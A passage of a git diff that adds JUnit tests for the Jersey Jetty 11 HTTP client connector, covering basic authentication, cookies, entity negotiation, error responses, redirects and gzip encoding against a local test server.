+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class AuthTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+ private static final String PATH = "test";
+
+ @Path("/test")
+ @Singleton
+ public static class AuthResource {
+
+ int requestCount = 0;
+
+ @GET
+ public String get(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return "GET";
+ }
+
+ @GET
+ @Path("filter")
+ public String getFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return "GET";
+ }
+
+ @POST
+ public String post(@Context HttpHeaders h, String e) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return e;
+ }
+
+ @POST
+ @Path("filter")
+ public String postFilter(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+
+ @DELETE
+ public void delete(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+ }
+
+ @DELETE
+ @Path("filter")
+ public void deleteFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+ }
+
+ @DELETE
+ @Path("filter/withEntity")
+ public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testAuthGet() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthPost() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthDelete() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().delete();
+ assertEquals(response.getStatus(), 204);
+ client.close();
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
new file mode 100644
index 0000000..7534d3d
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class CookieTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+ @Path("/")
+ public static class CookieResource {
+ @GET
+ public Response get(@Context HttpHeaders h) {
+ Cookie c = h.getCookies().get("name");
+ String e = (c == null) ? "NO-COOKIE" : c.getValue();
+ return Response.ok(e)
+ .cookie(new NewCookie("name", "value")).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(CookieResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testCookieResource() {
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testDisabledCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+ cc.connectorProvider(new JettyConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+
+ final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
+ if (connector.getCookieStore() != null) {
+ assertTrue(connector.getCookieStore().getCookies().isEmpty());
+ } else {
+ assertNull(connector.getCookieStore());
+ }
+ client.close();
+ }
+
+ @Test
+ public void testCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.connectorProvider(new JettyConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+
+ final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
+ assertNotNull(connector.getCookieStore().getCookies());
+ assertEquals(1, connector.getCookieStore().getCookies().size());
+ assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+ client.close();
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
new file mode 100644
index 0000000..48f51a1
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Custom logging filter.
+ *
+ * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
+ */
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+ ClientRequestFilter, ClientResponseFilter {
+
+ static int preFilterCalled = 0;
+ static int postFilterCalled = 0;
+
+ @Override
+ public void filter(ClientRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ postFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ postFilterCalled++;
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
new file mode 100644
index 0000000..22f50d3
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import jakarta.xml.bind.annotation.XmlRootElement;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+// import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests the Http content negotiation.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class EntityTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class EntityResource {
+
+ @GET
+ public Person get() {
+ return new Person("John", "Doe");
+ }
+
+ @POST
+ public Person post(Person entity) {
+ return entity;
+ }
+
+ }
+
+ @XmlRootElement
+ public static class Person {
+
+ private String firstName;
+ private String lastName;
+
+ public Person() {
+ }
+
+ public Person(String firstName, String lastName) {
+ this.firstName = firstName;
+ this.lastName = lastName;
+ }
+
+ public String getFirstName() {
+ return firstName;
+ }
+
+ public void setFirstName(String firstName) {
+ this.firstName = firstName;
+ }
+
+ public String getLastName() {
+ return lastName;
+ }
+
+ public void setLastName(String lastName) {
+ this.lastName = lastName;
+ }
+
+ @Override
+ public String toString() {
+ return firstName + " " + lastName;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ //.register(/*JacksonFeature.class*/);
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+ .post(Entity.xml(new Person("John", "Doe"))).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+ .get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
new file mode 100644
index 0000000..a85cbc5
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class ErrorTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(ErrorResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+
+ @Path("/test")
+ public static class ErrorResource {
+ @POST
+ public Response post(String entity) {
+ return Response.serverError().build();
+ }
+
+ @Path("entity")
+ @POST
+ public Response postWithEntity(String entity) {
+ return Response.serverError().entity("error").build();
+ }
+ }
+
+ @Test
+ public void testPostError() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntity() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntityAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..d1a91cd
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Jetty connector follow redirect tests.
+ *
+ * @author Martin Matula
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ */
+public class FollowRedirectsTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+ @Path("/test")
+ public static class RedirectResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("redirect")
+ public Response redirect() {
+ return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(RedirectResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ private static class RedirectTestFilter implements ClientResponseFilter {
+ public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+ @Override
+ public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+ if (responseContext instanceof ClientResponse) {
+ ClientResponse clientResponse = (ClientResponse) responseContext;
+ responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+ }
+ }
+ }
+
+ @Test
+ public void testDoFollow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ Response r = t.path("test/redirect")
+ .register(RedirectTestFilter.class)
+ .request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+// TODO uncomment as part of JERSEY-2388 fix.
+// assertEquals(
+// UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
+// r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
+
+ c.close();
+ }
+
+ @Test
+ public void testDoFollowPerRequestOverride() {
+ WebTarget t = target("test/redirect");
+ t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+ Response r = t.request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDontFollow() {
+ WebTarget t = target("test/redirect");
+ assertEquals(303, t.request().get().getStatus());
+ }
+
+ @Test
+ public void testDontFollowPerRequestOverride() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget t = client.target(u);
+ t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ Response r = t.path("test/redirect").request().get();
+ assertEquals(303, r.getStatus());
+ client.close();
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..727c389
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class GZIPContentEncodingTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ @Path("/")
+ public static class Resource {
+
+ @POST
+ public byte[] post(byte[] content) {
+ return content;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(Resource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(GZipEncoder.class);
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target();
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+ assertTrue(cr.hasEntity());
+ cr.close();
+ }
+
+ @Test
+ public void testPostChunked() {
+ ClientConfig config = new ClientConfig();
+ config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+ config.connectorProvider(new JettyConnectorProvider());
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.text("POST"));
+ assertTrue(cr.hasEntity());
+ cr.close();
+
+ client.close();
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
new file mode 100644
index 0000000..4e9f09e
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
